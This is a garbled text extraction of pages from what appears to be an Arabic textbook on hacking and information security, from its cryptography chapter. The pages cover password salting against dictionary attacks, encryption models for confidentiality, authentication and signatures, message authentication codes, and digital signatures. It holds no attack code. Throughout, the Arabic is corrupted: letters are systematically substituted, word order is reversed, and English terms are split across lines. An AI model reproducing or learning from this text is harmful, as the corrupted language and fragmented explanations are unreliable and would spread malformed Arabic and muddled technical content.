‫س‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫للتأ‬ ً‫ا‬‫أيض‬ ‫اإلجراء‬
.‫الرسالة‬ ‫مة‬
‫الثالث‬ ‫الطريقة‬
‫ة‬
:
‫ظهور‬ ‫نالحظ‬
Input
‫ال‬ ‫مع‬ ‫سيدطل‬ ‫جديد‬
Hash Function
‫ال‬ ‫لنتاج‬ ‫أثناء‬
hash value
‫ال‬ ‫وذو‬ ،
(S)
‫ذو‬ ‫احلرف‬ ‫ذذا‬ ،
‫لكلمة‬ ‫اطتصار‬
“Salt”
.
‫ال‬ ‫ماذذا‬
“Salt”
‫؟‬..
‫ن‬َ‫ع‬ ‫بارة‬‫ع‬ ُ‫ه‬‫لن‬
Random data
‫ك‬ ‫استخدامها‬ ‫م‬‫ت‬َ‫ي‬
input
‫ال‬ ‫مع‬
One-way function
‫ستق‬ ‫التي‬
‫ال‬ ‫بعمل‬ ‫وم‬
hash
‫ال‬ ‫أو‬ ‫للرسالة‬
password
‫بذلك‬ ‫قينتج‬ .‫ختزينه‬ ‫أو‬ ‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬
hash value
‫ال‬ ‫أو‬ ‫الرسالة‬ ‫مع‬ ‫مبارشة‬ ‫عالقة‬ ‫هلا‬ ‫ليست‬
password
‫ال‬ ‫لجراء‬ ‫قبل‬ ‫معها‬ ‫األطرى‬ ‫األحرف‬ ‫بعض‬ ‫بإلصاق‬ ‫منا‬ُ‫ق‬ ‫ألننا‬ ،!‫املعادلة‬ ‫يف‬ ‫الداطلة‬
hashing
.
‫أمهية‬ ‫ن‬ُ‫تكم‬
‫ال‬ ‫ذذا‬
Slat
‫احلامية‬ ‫يف‬
‫ال‬ ‫ذجامت‬ ‫من‬
“Dictionary Attack”
..‫ذذا‬ ‫مثالنا‬ ‫يف‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[363]
‫ال‬ ‫ذذا‬ ‫بإرسال‬ ‫سنقوم‬
Salt
‫ال‬ ‫مع‬ ‫الرسالة‬ ‫ه‬َ‫ل‬ ‫ل‬‫ُرس‬‫ن‬ ‫م‬ُ‫ث‬ ،‫فرده‬ُ‫م‬‫ب‬ ‫اآلطر‬ ‫رف‬َ‫ط‬‫ال‬ ‫لىل‬
hash file
،
‫ال‬ ‫بتطبيق‬ ‫ذو‬ ‫يقوم‬
hash function
‫ال‬ ‫لدطال‬ ‫مع‬
Slat
‫ال‬ ‫قارن‬ُ‫ي‬‫و‬ ،
hash value
.‫الرسالة‬ ‫مع‬ ‫ة‬َ‫م‬‫القاد‬ ‫بتلك‬ ‫ة‬َ‫الناجت‬
‫ما‬
‫ال‬ ‫ذذا‬
“Dictionary Attack”
‫؟‬..
..‫ذاذو‬

‫ال‬ ‫تطبيق‬ ‫عملية‬ ‫لهنا‬
Hash Function
‫ملف‬ ‫يف‬ ‫ضعها‬َ‫و‬ ‫م‬‫ت‬َ‫ي‬ ،‫قرتحة‬ُ‫مل‬‫ا‬ ‫الُس‬ ‫كلامت‬ ‫من‬ ‫كبرية‬ ‫كمية‬ ‫عىل‬
txt
‫األدا‬ ‫قتقوم‬ ،
‫ة‬
‫ل‬َ‫م‬َ‫ع‬‫ب‬
hashing
َ‫م‬‫َل‬‫ك‬ ‫ُل‬‫ك‬‫ل‬
‫ة‬
‫ال‬ ‫قارنة‬ُ‫م‬‫و‬
hash value
‫بال‬
hash
‫عطا‬ُ‫مل‬‫ا‬
‫ة‬
َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫(ا‬
‫ة‬
‫ث‬ُ‫د‬ َ
‫حي‬ ‫أن‬ ‫لىل‬ ،)
‫ال‬ ‫أحد‬ ‫بني‬ ‫ه‬ُ‫ب‬‫َشا‬‫ت‬
hash
values
‫عطا‬ُ‫مل‬‫ا‬ ‫لك‬‫وت‬
‫ة‬
.!
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[364]
‫تظهر‬ ‫وذكذا‬
‫ال‬ ‫قائدة‬
Salt
.!‫العملية‬ ‫يف‬
‫ال‬ ‫استخدام‬ ‫قعدم‬
Salt
‫ال‬ ‫عملية‬ ‫من‬ ‫هل‬ ِّ
‫س‬ُ‫ي‬
Dictionary
attack
.
‫استخدام‬ ً‫ا‬‫أيض‬
"
‫ِس‬ ‫كلامت‬
"
‫من‬ ‫ع‬ ِّ
‫ُس‬ُ‫ي‬ ‫سهلة‬ ‫أو‬ ‫بسيطة‬
.!‫ختمينها‬ ‫أو‬ ‫كُسذا‬ ‫عملية‬
‫ال‬ ‫تطبيق‬ ‫طريقة‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫ذذا‬
Hashing
‫مع‬
‫ال‬ ‫استخدام‬
Salt
‫ال‬ ‫لىل‬ ‫أحدذم‬ ‫دطول‬ ‫تسجيل‬ ‫أثناء‬
Server
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[365]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[366]
‫الثالث‬ ‫اخلطوة‬ ‫يف‬ ‫الحظ‬
‫ة‬
‫ال‬ ‫قام‬ ‫كيف‬
Server
‫بعمل‬
“Concatenate”
‫ال‬ ‫بني‬
password
‫وال‬
salt
‫ال‬ ‫تطبيق‬ ‫ثم‬ ،
Hashing Function
‫ن‬‫خز‬ُ‫مل‬‫ا‬ ‫بتلك‬ ‫النتيجة‬ ‫قارنة‬ُ‫م‬‫و‬ ‫عليهم‬
‫ة‬
.‫لديه‬
‫ال‬ ‫وماذذا‬
“Concatenate”
‫؟‬..
‫دمج‬ ‫عملية‬ ..‫باطتصار‬ ‫لهنا‬
“two strings end-to-end”
‫ال‬ ‫باستخدام‬
operator (+)
.
‫صري‬َ‫ق‬ ‫ل‬‫قاص‬ ‫لىل‬ ‫ج‬ ُ‫ر‬‫َخ‬‫ن‬ َ
‫س‬
..‫جديد‬ ‫من‬ ‫نعود‬ ‫م‬ُ‫ث‬
Confidentiality, Authentication, and Signature
‫ن‬‫ل‬ ‫يعة‬ َ
‫ِس‬ ‫راجعة‬ُ‫م‬‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬
‫ؤكد‬
‫عىل‬
‫ذذه‬
‫فاذيم‬َ‫مل‬‫ا‬
:‫وذي‬ ،
Confidentiality, Authentication, Nonrepudiation (Digital Signature)
:‫األول‬ ‫الشكل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[367]
‫ال‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬
“Symmetric Encryption”
‫ال‬ ‫نفس‬ ‫استخدام‬ ً‫ا‬‫ح‬‫واض‬ ‫يبدو‬ ُ
‫يث‬ َ‫ح‬ ،
Key
‫التشفري‬ ‫عملية‬ ‫يف‬
‫ال‬ ‫ذذا‬ ،!‫التشفري‬ ‫وقك‬
Key
‫تبادله‬ ‫يتم‬
‫بينهم‬ ‫قيام‬
‫عرب‬
‫قنا‬
‫ة‬
.ً‫ا‬‫الحق‬ ‫عنها‬ ‫سنتكلم‬ ‫آمنة‬
‫الثا‬ ‫الشكل‬
:‫ين‬
‫ال‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬
“Asymmetric Encryption”
‫ال‬ ‫باستخدام‬ ‫الرسالة‬ ‫بتشفري‬ ‫يقوم‬ ‫األول‬ ‫الطرف‬ ‫ألن‬
public
key
.‫اآلطر‬ ‫بالطرف‬ ‫اخلاص‬
‫ال‬ ‫لنا‬ ‫قق‬ ُ
‫حي‬ ‫النموذح‬ ‫ذذا‬
Confidentiality
‫ول‬
‫ال‬ ‫قق‬ ُ
‫حي‬ ‫ال‬ ‫كن‬
Authentication
!..
‫ال‬ ‫قق‬ ُ
‫حي‬ ‫ال‬ ‫اذا‬‫ومل‬
Authentication
‫؟‬
‫ال‬ ‫أن‬ ‫بام‬
key
‫ال‬ ‫ذو‬ ‫ة‬ َ‫فر‬ َ
‫الش‬ ‫ك‬َ‫ف‬‫ل‬ ‫ستخدم‬ُ‫مل‬‫ا‬
“B’s Private Key”
‫قتح‬ ‫ن‬‫م‬ ‫ّن‬‫ك‬َ‫تم‬َ‫ي‬ َ
‫س‬ ُ‫ه‬‫وا‬‫س‬ ‫أحد‬ ‫ال‬ ُ‫ه‬‫أن‬ ‫عني‬َ‫ي‬ ‫هذا‬َ‫ق‬
‫قام‬ ‫بينام‬ ،!‫امللف‬
B
‫ال‬ ‫بإرسال‬
public key
‫لىل‬ ‫به‬ ‫اخلاص‬
A
‫أي‬ ‫تشفري‬ ‫من‬ ‫قيتمكن‬ ‫أحدذم‬ ‫د‬َ‫ي‬‫ب‬ ‫فتاح‬‫امل‬ ‫ذذا‬ ‫قع‬َ‫ي‬ ‫بام‬ ُ‫قر‬ ،
‫ل‬ ‫بإرساهلا‬ ‫ويقوم‬ ‫بيانات‬
B
‫أنه‬ ً‫ا‬‫ي‬‫ع‬ّ‫د‬ُ‫م‬
A
.
‫ال‬ ‫ُحقق‬‫ن‬‫ل‬ ‫سنفعل‬ ‫ماذا‬ ‫واآلن‬
Authentication
‫؟‬
..‫الثالث‬ ‫الشكل‬ ‫لنا‬ ‫به‬ ‫سيأيت‬ ‫ما‬ ‫ذذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[368]
:‫الثالث‬ ‫الشكل‬
‫ال‬ ‫بتحقيق‬ ‫منا‬ُ‫ق‬
Authentication
‫الطرف‬ ‫جعل‬ ‫طريق‬ ‫عن‬
A
‫ال‬ ‫باستخدام‬ ‫الرسالة‬ ‫بتشفري‬ ‫يقوم‬
private key
‫اخلاص‬
‫ال‬ ‫ِسقة‬ ‫عملية‬ ‫ألن‬ ‫وذذا‬ ،!‫ذو‬ ‫به‬
private key
‫بأحدذم‬ ‫اخلاص‬
‫ال‬ ‫ِسقة‬ ‫من‬ ‫بكثري‬ ‫أصعب‬
public key
.
‫ال‬ ‫لنا‬ ‫قق‬ ُ
‫حي‬ ‫النموذج‬ ‫ذذا‬ ‫وبالتايل‬
Authentication
‫وال‬
Signature
.
‫ال‬ ‫النموذج‬ ‫ذذا‬ ‫قق‬ ُ
‫حي‬ ‫كيف‬ ‫ولكن‬ ..ً‫ا‬‫عفو‬
Signature
‫؟‬..
‫ال‬ ‫َموذج‬‫ن‬‫ال‬ ‫ذذا‬ ‫قق‬ ُ
‫حي‬ َ
‫َيف‬‫ك‬ ً‫ا‬‫ئي‬َ‫بد‬َ‫م‬ ‫نا‬‫ق‬ َ‫ر‬َ‫ع‬ ‫لقد‬
Authentication
‫س‬ .
‫ن‬
‫أ‬
‫ذ‬ ُ
‫ط‬
‫ل‬ ‫ثال‬‫م‬
‫ن‬
َ
‫كيف‬ ُ‫ه‬‫ن‬‫م‬ ‫فهم‬
ِّ‫ق‬َ ُ
‫حي‬
‫ق‬
‫لنا‬
.‫األطرية‬
‫ال‬
Signature
‫أن‬ ‫اجلميع‬ َ‫م‬‫أما‬ ‫لثبات‬ ‫ذدقها‬
A
‫لىل‬ ‫الرسالة‬ ‫ذذه‬ ‫بإرسال‬ ‫قام‬ ‫من‬ ُ‫ه‬َ‫حد‬َ‫و‬ ‫ذو‬
B
.
‫ذذه‬ ‫كانت‬ ‫لو‬ ‫ماذا‬
َ
‫اس‬ ّ
‫س‬ َ‫ح‬ ‫علومات‬َ‫م‬ ‫حتوي‬ ‫الرسالة‬
‫ة‬
‫رارات‬َ‫ق‬ ‫أو‬ ،
‫مهم‬
‫ة‬
!
،
‫للطرف‬ ‫رصة‬ُ‫ق‬ ‫ُتيح‬‫ن‬ ‫بام‬ُ‫ر‬
B
‫يأيت‬ ‫بأن‬ ‫ب‬ُ‫بالتالع‬
‫أن‬ ‫عي‬ّ‫د‬َ‫ي‬‫و‬ ‫رسالة‬‫ب‬ ‫لنا‬
A
‫بإرساهلا‬ ‫قام‬
‫بال‬ ‫تشفريذا‬ ‫بفك‬ ‫قام‬ ُ‫ه‬‫وأن‬ ،!‫له‬
public key
‫ب‬ ‫اخلاص‬
A
..
‫نا؟‬ُ‫ذ‬ ‫ماحلل‬
‫الطرف‬ ‫يقوم‬ ‫قاعدة‬ ‫نضع‬ ‫أن‬ ‫نا‬ُ‫ذ‬ ‫احلل‬
B
‫من‬ ‫أتت‬ ‫الرسالة‬ ‫بأن‬ ‫اإلدعاء‬ ‫يف‬ ‫احلق‬ ‫امتالك‬ ‫قتضاذا‬ُ‫بم‬
A
‫لنا‬ ‫ر‬‫ظه‬ُ‫ي‬ ‫أن‬ ‫وذو‬ ،
‫ال‬
Ciphertext
‫من‬ ‫له‬ ‫القادم‬
A
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[369]
‫ال‬ ‫وملاذا‬
Ciphertext
‫بالذات؟‬
‫أن‬ ‫ام‬‫ب‬
A
‫الوحيد‬ ‫ذو‬
‫ال‬ ‫يمتلك‬ ‫الذي‬
Private Key
‫قهو‬ ،
‫ال‬ ‫تكوين‬ ‫يستطيع‬ ‫الذي‬ ‫الوحيد‬ ‫الشخص‬
Ciphertext
،
‫أل‬ ‫وليس‬
!‫ذلك‬ ُ‫ه‬‫سوا‬ ‫حد‬
‫ال‬ ‫ذذا‬ ‫ِسقة‬ ‫متت‬ ‫لذا‬ ‫لال‬ ،
private key
.!‫اجلهاز‬ ‫من‬
‫ال‬ ‫ذذا‬ ‫د‬ ُ‫تواج‬ ‫وبالتايل‬
Ciphertext
‫عند‬ ‫ذاته‬ ‫حد‬ ‫يف‬
B
‫أن‬ ‫كايف‬ ‫دليل‬ ‫ذو‬
A
.!‫الرسالة‬ ‫ذذه‬ ‫أرسل‬ ‫من‬ ‫ذو‬
‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
Signature
‫ال‬ ‫مفهوم‬ ‫م‬ِّ‫ع‬‫ُد‬‫ت‬
Nonrepudiation
‫تعني‬ ُ
‫حيث‬ ،
"
‫منع‬
‫لرساله‬ ‫بعدم‬ ‫اإلدعاء‬ ‫من‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬
‫بعدم‬ ‫ادعائه‬ ‫من‬ ‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫ومنع‬ ،‫للرسالة‬
‫لليه‬ ‫وصوهلا‬
"
.
‫ال‬ ‫حتقيق‬ ‫عدم‬ ‫الحظت‬ ‫ولكني‬
Confidentiality
‫تتحقق؟‬ ‫مل‬ ‫ملاذا‬ ..!‫النموذج‬ ‫ذذا‬ ‫يف‬
‫مرح‬ ‫عىل‬ ‫دة‬‫عتم‬ُ‫م‬ ‫الشفرة‬ ‫قك‬ ‫عملية‬ ‫ألن‬
‫ال‬ ‫امتالك‬ ‫وذي‬ ‫واحدة‬ ‫لة‬
public key
‫بالطرف‬ ‫اخلاص‬
A
.
‫ال‬ ‫ذذا‬ ‫وقع‬ ‫قإذا‬
public key
‫بي‬
‫الرسالة‬ ‫رؤية‬ ‫من‬ ‫قسيتمكن‬ ‫أحدذم‬ ‫د‬
‫لل‬ ‫طرق‬ ‫وذذا‬ ،
Confidentiality
.
‫ال‬ ‫مثال‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
Student Record
‫وأولي‬ ‫الطالب‬ ‫لال‬ ‫عليها‬ ‫باالطالع‬ ‫ألحد‬ ‫السامح‬ ‫يتم‬ ‫ال‬ ‫والتي‬ ،
‫توظيفه‬ ‫وجهة‬ ‫أموره‬ ‫اء‬
،
‫واط‬
‫موثوقي‬ ‫يف‬ ‫طلل‬ ‫وجود‬ ‫عىل‬ ‫يدل‬ ‫عليها‬ ‫غريذم‬ ‫الع‬
‫ة‬
.!‫املعهد‬ ‫ذذا‬
‫ال‬ ‫ُحقق‬‫ن‬ ‫كيف‬
Confidentiality
..‫اخلصائص‬ ‫بقية‬ ‫عىل‬ ‫اإلبقاء‬ ‫مع‬ ،‫؟‬..ً‫ا‬‫لذ‬
"
‫علينا‬ ‫جيب‬ُ‫ي‬‫س‬ ‫الرابع‬ ‫الشكل‬
"
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[370]
:‫الرابع‬ ‫الشكل‬
،‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫أثناء‬ ‫أطرى‬ ‫مرحلة‬ ‫بإضاقة‬ ‫منا‬ُ‫ق‬ ‫لقد‬
‫الطرف‬ ‫سيقوم‬
A
‫بالتشف‬
‫بال‬ ‫األوىل‬ ،‫مرحلتني‬ ‫عىل‬ ‫ري‬
Private Key
‫ال‬ ‫حقق‬ ‫قد‬ ‫يكون‬ ‫وِبذا‬ ،‫به‬ ‫اخلاص‬
Signature
‫وال‬
Authentication
.
‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫بالتشفري‬ ‫يقوم‬ ‫ثم‬
Public Key
‫بالطرف‬ ‫اخلاص‬
B
‫ال‬ َ
‫ق‬َ‫ق‬ َ‫ح‬ ‫قد‬ ‫ِبذا‬ ‫ليكون‬ ،
Confidentiality
.
‫ي‬ ‫ال‬ ‫ذذا‬
،!‫األقضل‬ ‫ذو‬ ‫النموذج‬ ‫ذذا‬ ‫أن‬ ‫عني‬
‫أنه‬ ‫الحظ‬
‫يستهلك‬
Resources
‫لجراء‬ ‫بسبب‬ ‫عالية‬
"
‫عمليات‬ ‫أربع‬
"
‫قيها‬ ‫رسالة‬ ‫لرسال‬ ‫يتم‬ ‫مرة‬ ‫كل‬ ‫يف‬
.
Message Authentication Code (MAC)
‫معرقت‬ ‫وبعد‬ ‫واآلن‬
‫نا‬
‫ال‬ ‫ملفهوم‬ ‫اجليدة‬
Authentication
‫ال‬ ‫لتحقيق‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ ‫التكنولوجيا‬ ‫ذذه‬ ‫لىل‬ ‫االنتقال‬ ‫ننا‬‫مك‬ُ‫ي‬ ،
Authentication
‫و‬ ،‫طرقني‬ ‫بني‬
‫ال‬ ‫ذي‬
MAC
.
‫ال‬ ‫ذذا‬ ‫ما‬
MAC
‫؟‬..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[371]
‫ال‬ ‫تطبيق‬ ‫بعد‬ ‫ُج‬‫ت‬‫ين‬ ‫الذي‬ ‫اليشء‬ ‫لنه‬
Secret Key
‫قيتم‬ ،‫لرساهلا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫أو‬ ‫الرسالة‬ ‫عىل‬ )‫طرقني‬ ‫بني‬ ‫ك‬َ َ
‫رت‬ َ
‫ش‬ُ‫مل‬‫(ا‬
.‫اآلطر‬ ‫الطرف‬ ‫لىل‬ ‫الرسالة‬ ‫مع‬ ‫لرساله‬
‫الناتج؟‬ ‫اليشء‬ ‫ذذا‬ ‫ذو‬ ‫وما‬
‫عبار‬ ‫لنه‬
‫ة‬
‫عن‬
“Fixed-size block of data”
َ‫ل‬‫ط‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،
‫عليه‬ ‫ق‬
“Cryptographic checksum”
‫لالطتصار‬ ‫أو‬
MAC
.
‫التالي‬ ‫باملعادلة‬ ‫اإلجراء‬ ‫ذذا‬ ‫عن‬ ‫التعبري‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ،ً‫ا‬‫لذ‬
‫ة‬
:
MAC = C ( K, M )
‫ال‬ ‫ذذا‬
MAC
‫ال‬ ‫قيام‬ ‫عند‬ ‫عليه‬ ‫ل‬ ُ
‫سنحص‬ ،‫الرسالة‬ ‫مع‬ ُ‫ه‬‫بإرقاق‬ ‫سنقوم‬ ‫الذي‬
MAC Function (C)
،
‫بتطبيق‬
‫ال‬
Key
(K)
‫الرسالة‬ ‫عىل‬
(M)
.
‫ال‬ ‫يقوم‬
‫ال‬ ‫بتطبيق‬ ‫اآلطر‬ ‫طرف‬
MAC Function
‫م‬َ‫ل‬َ‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫عىل‬ ً‫ا‬‫أيض‬
‫ة‬
‫ال‬ ‫إلنتاج‬
MAC
‫ومقارنته‬
‫الذي‬ ‫بذلك‬
.‫الرسالة‬ ‫حبة‬ ُ
‫بص‬ ‫أتى‬
‫ال‬ ‫لتطبيق‬ ‫األقكار‬ ‫بعض‬ ‫لك‬ ‫سنعرض‬
MAC
.
:‫التقليدي‬ ‫بالشكل‬ ‫نبدأ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[372]
‫لل‬ ‫تطبيقه‬ ‫يف‬ ‫بارش‬ُ‫م‬‫و‬ ً‫ا‬‫واضح‬ ‫يبدو‬ ‫الشكل‬ ‫ذذا‬
MAC Function
‫ال‬ ‫عمل‬ ‫و‬
Calculation
‫ل‬
‫ل‬
MAC
‫الناحية‬ ‫يف‬
‫قارن‬ُ‫مل‬‫ا‬ ‫عمل‬ ‫ثم‬ ‫األطرى‬
‫ة‬
.‫بينهم‬
:‫الثاين‬ ‫الشكل‬
‫ال‬ ‫استخدام‬ ‫بعد‬ ،‫ططوة‬ ‫بإضاقة‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬
MAC Function
‫لل‬
Key
‫ال‬ ‫لنتاج‬ ‫يف‬
MAC
‫باستخدام‬ ‫منا‬ُ‫ق‬ ،
Key
‫آطر‬
‫ال‬ + ‫(الرسالة‬ ‫لتشفري‬
MAC
.!‫التقاطها‬ ‫حالة‬ ‫يف‬ ‫للرسالة‬ ‫امية‬‫احل‬ ‫ُعطي‬‫ن‬‫ل‬ )
‫طا‬ ‫حققنا‬ ‫أننا‬ ‫يعني‬ ‫ذذا‬
:‫صيتني‬
‫ال‬
Authentication
‫لل‬ ‫ولكن‬ ‫حققناه‬
plaintext
‫وال‬ .!‫تشفريذا‬ ‫قبل‬ ‫للرسالة‬ ‫أي‬ ،
Confidentiality
‫طريق‬ ‫عن‬
‫ال‬ ‫استخدام‬
K2
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[373]
:‫الثالث‬ ‫الشكل‬
‫ال‬ ‫بتطبيق‬ ‫منا‬ُ‫ق‬ ‫ثم‬ً‫ال‬‫أو‬ ‫الرسالة‬ ‫بتشفري‬ ‫قمنا‬ ‫نا‬ُ‫ذ‬ ‫أننا‬ ‫الحظ‬
MAC Function
.!‫رة‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫عىل‬
‫النموذج‬ ‫ذذا‬ َ
‫ح‬َ‫ب‬‫أص‬َ‫ق‬
‫ال‬ ‫لنا‬ ‫قق‬ ُ
‫حي‬
Authentication
‫لل‬
Ciphertext
‫وال‬ ،
Confidentiality
‫التشفري‬ ‫طريق‬ ‫عن‬
‫املفتاح‬ ‫باستخدام‬
K2
.
Digital Signature
‫ال‬
Digital Signature
‫ال‬ ‫تطبيق‬ ‫عن‬ ‫عبارة‬ ‫ذي‬
“Public Key Cryptography”
‫ال‬ ‫مع‬
“Hashing Function”
،
:‫ذي‬ ..‫أذداف‬ ‫ثالثة‬ ‫لتحقيق‬ ‫وذلك‬
Authenticity
‫لثبات‬ ‫قهي‬
“Proof”
‫ال‬ ‫ذذه‬ ‫بإرسال‬ ‫قام‬ ‫الذي‬ ‫الشخص‬ ‫هلوية‬
Document
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[374]
Integrity
‫ال‬ ‫أن‬ ‫وتأكيد‬ ‫لثبات‬ ‫تعطينا‬ ‫لهنا‬
Document
‫ال‬ ‫أثناء‬ ‫تغيري‬ ‫أو‬ ‫تعديل‬ ‫ألي‬ ‫تتعرض‬ ‫مل‬ ‫ذذه‬
Signing
‫رحلتها‬ ‫أثناء‬ ‫أو‬
‫كل‬ ‫مع‬ ‫ها‬‫ل‬ُ‫م‬‫تعا‬ ‫بسبب‬ ‫وذذا‬ .‫للينا‬
Bit
Binary
‫ال‬ ‫هلذه‬
Document
‫ل‬ ‫راد‬ُ‫مل‬‫ا‬
‫حذف‬ ‫أو‬ ‫دمج‬ ‫عملية‬ ‫أي‬ ‫ف‬‫كش‬َ‫ي‬ ‫ُما‬ ،‫رساهلا‬
‫ال‬ ‫هلذه‬ ‫واحد‬ ‫حرف‬ ‫لضاقة‬ ‫أو‬
Document
‫ال‬ ‫تطبيق‬ ‫بعد‬
Algorithm
‫عليها‬
.
Nonrepudiation
‫ال‬ ‫ذذه‬ ‫إلرساله‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫لنكار‬ ‫عدم‬ ‫تضمن‬ ‫حيث‬ ،‫همة‬ُ‫م‬ ‫طاصية‬ ‫وذذه‬
Document
،!‫قيها‬ ‫كلمة‬ ‫بكل‬
‫َد‬‫ن‬‫ست‬ُ‫م‬ ‫ِبذا‬ ‫د‬َ‫ع‬ُ‫ت‬‫ق‬
.!‫به‬ ‫لدانته‬ ‫ن‬‫مك‬ُ‫ي‬ ‫رسمي‬
‫اإلدانة‬ ‫عملية‬
‫لشكال‬ ‫قيها‬ ‫ذذه‬ ‫القضائية‬
..
‫مكن‬ُ‫ي‬ ‫ال‬
‫تعتد‬ ‫أن‬
‫الرسمية‬ ‫اجلهات‬
‫التكنولوجيا‬ ‫ِبذه‬
‫وحدذا‬
‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫عىل‬ ِّ
‫ني‬َ‫ب‬ ‫كإثبات‬
!
.
ُ
‫حيث‬
ُ‫مل‬‫ا‬ ‫يستطيع‬
‫أن‬ ‫ل‬‫رس‬
‫اإلهتام‬ ‫ذذا‬ ‫من‬ ‫ص‬‫يتمل‬
‫عرب‬
‫ب‬ ‫الشخيص‬ ‫جهازه‬ ‫بإصابة‬ ‫ادعائه‬
“Malware”
ً‫ال‬‫مث‬
"
.
‫ال‬ ‫تطبيق‬ ‫يوضح‬ ‫شكل‬ ‫ذذا‬
Digital Signature
:‫املذكورة‬ ‫اخلصائص‬ ‫ذذه‬ ‫قق‬ ُ
‫حي‬ ‫بام‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[375]
‫ال‬ ‫تطبيق‬ ‫ططوات‬ ‫الشكل‬ ‫يوضح‬
Signature
‫السيدة‬ ‫تقوم‬ ‫وثيقة‬ ‫عىل‬
“Rose”
‫السيد‬ ‫لىل‬ ‫بإرساهلا‬
“Kevin”
.
‫ال‬ ‫بتطبيق‬ ‫ققامت‬
“Hash Function”
‫ال‬ ‫عىل‬ ‫ل‬ ُ
‫لتحص‬ ،‫ستند‬ُ‫مل‬‫ا‬ ‫عىل‬ ً‫ال‬‫أو‬
Hash value
‫باستخدام‬ ‫بتشفريذا‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،
‫ال‬
Private Key
‫السيد‬ ‫لىل‬ ‫ولرساهلا‬
Kevin
.
‫ال‬ ‫قارنة‬ُ‫م‬‫و‬ ‫اخلطوات‬ ‫بعكس‬ ‫ذو‬ ‫قيقوم‬
Hash value
‫بالذي‬ ‫َلم‬‫ت‬‫س‬ُ‫مل‬‫ا‬
.‫ستند‬ُ‫مل‬‫ا‬ ‫سالمة‬ ‫من‬ ‫ليتأكد‬ ُ‫ه‬‫استخرج‬
‫الصفح‬ ‫يف‬ ‫نعرض‬
‫ة‬
‫التالي‬
‫ة‬
‫آطر‬ ‫شكل‬
‫العملية‬ ‫لنفس‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[376]

‫ال‬ ‫تطبيق‬ ‫بعد‬
Hash
‫ال‬ ‫باستخدام‬
MD5
‫أو‬
SHA1
‫أو‬
SHA2
،
‫ال‬ ‫عىل‬ ‫ل‬ ُ
‫نحص‬
hash value
(h)
‫وب‬ ،
‫عد‬
‫ال‬ ‫عىل‬ ‫ل‬ ُ
‫نحص‬ ‫التشفري‬
(S)
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[377]

‫ق‬ِّ‫ب‬َ‫ط‬ُ‫ت‬ ‫األطرى‬ ‫الناحية‬ ‫يف‬
Alice
‫ال‬
Key
‫ال‬ ‫عىل‬ ‫ل‬ ُ
‫ص‬‫َح‬‫ت‬‫ل‬
(h’)
.

‫ال‬ ‫بتطبيق‬ ‫قتقوم‬
MD5
‫الرسالة‬ ‫عىل‬ ً‫ا‬‫أيض‬
(M)
‫ال‬ ‫قينتج‬ ،
(h)
،
‫بال‬ ُ‫ه‬‫ُقارن‬‫ت‬‫ل‬
(h’)
.
Digital Signature Standard (DSS)
‫ال‬ ‫ذذا‬ ‫ما‬
(
DSS
‫؟‬..)
